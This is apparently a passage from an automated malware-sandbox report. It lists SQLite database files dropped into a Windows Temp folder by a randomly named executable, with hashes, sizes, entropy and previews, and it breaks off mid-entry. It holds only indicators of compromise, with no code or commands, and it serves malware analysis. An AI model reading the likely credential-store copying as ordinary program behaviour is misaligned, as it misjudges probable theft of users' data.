SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ff336w0aLg

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Fl8JCpmmGb

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GLEAf4QIN3

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GPqFblOhTR

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GSFaQrFZmG

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GWZGdIe2CH

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GXCBPSk6Cp

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GtVho8tZBi

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GuOCcZiHLy

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HHcqOdG2BC

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HPLnZNo1ou

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HhKPU4b6UP

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Hwd5QJYVrk

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HymAPQ9hy0

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IMXSNPjNHQ

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IRTRUc5JJp

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IRzgG4oFI6

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IYMsSoTgdv

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JBmZ86nRz7

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JFdIA1AF61

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JGdF8sWVdZ

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\K6QvKf9NZc

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\K6uxS07KTP

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\K9TEbNNLWo

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KCK6Prixrl

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
